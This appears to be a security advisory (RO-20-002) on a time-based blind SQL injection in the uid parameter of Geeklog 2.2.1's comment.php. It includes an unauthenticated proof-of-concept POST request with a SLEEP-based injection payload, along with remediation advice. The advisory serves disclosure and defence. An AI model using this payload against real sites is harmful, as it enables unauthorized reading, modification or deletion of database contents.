## https://sploitus.com/exploit?id=PACKETSTORM:214756
Geeklog 2.2.1 - Blind SQL Injection
Advisory ID: RO-20-002
Severity: Critical
Vendor: Geeklog
Product: Geeklog CMS
Version: 2.2.1
Overview #
A Blind SQL Injection vulnerability exists in Geeklog CMS version 2.2.1. The vulnerability allows remote attackers to execute arbitrary SQL commands via the uid parameter in comment.php.
Vulnerability Details #
Affected Versions: 2.2.1 and earlier
Location: comment.php
Affected Parameter: uid
Root Cause: Insufficient input validation on the uid parameter allows SQL Injection attacks.
Exploitation Requirements #
No authentication required
Direct access to the comment endpoint
Impact #
Remote attackers can exploit this vulnerability to:
Extract sensitive data from the database
Bypass authentication mechanisms
Modify or delete database content
Proof of Concept #
POST /geeklog-2.2.1/public_html/comment.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
uid=2+++((SELECT+1+FROM+(SELECT+SLEEP(25))A))/*'XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR'|"XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR"*/
Time-based Blind SQL Injection: If the server response is delayed by 25 seconds, the target is vulnerable.
Solution #
Upgrade to a patched version of Geeklog that includes proper input sanitization and parameterized queries.
References #
Invicti Advisory NS-20-002
Timeline:
[2020-01-01] - Discovered
Credits: Omar Kurt